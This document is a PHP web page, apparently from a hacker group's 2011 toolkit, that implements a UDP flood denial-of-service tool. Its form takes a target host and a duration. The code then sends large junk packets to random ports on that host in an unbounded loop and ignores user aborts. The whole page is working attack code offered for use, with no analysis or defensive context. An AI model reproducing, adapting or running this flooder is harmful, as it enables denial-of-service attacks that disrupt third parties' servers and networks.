UDP Flooding

<html>
<head>
<p align="center"><b><font color="#FFFFFF"><font face="OCR A Std" size="7">
Newbie3viLc063s </font><font size="7" face="Myriad Pro Light">©</font><font face="OCR A Std" size="7">
2011</font></font><font face="OCR A Std" color="#00FF00"> </font>
</b>
</p>
</head>
<body>
<center>
<font color="00FF00">
<STYLE>
input{
background-color: #000000; font-size: 8pt; color: #FF0000; font-family: Tahoma; border: 1 solid #666666;
}
button{
background-color: #000000; font-size: 8pt; color: #FF0000; font-family: Tahoma; border: 1 solid #666666;
}
body {
background-color: #000000;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65553;$i++){
            $out .= 'X';
    }
    while(1){
    $packets++;
            if(time() > $max_time){
                    break;
            }
            $rand = rand(1,65553);
            $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
            if($fp){
                    fwrite($fp, $out);
                    fclose($fp);
            }
    }


    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
        <form action="'.$surl.'" method=GET>
        <input type="hidden" name="xrt" value="php">
        Host: <br><input type=text name=host><br>
        Length (seconds): <br><input type=text name=time><br>
        <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flooding</b><br>
            <form action=? method=GET>
            <input type="hidden" name="xrt" value="php">
            Host: <br><input type=text name=host value=><br>
            Length (seconds): <br><input type=text name=time value=><br><br>
            <input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>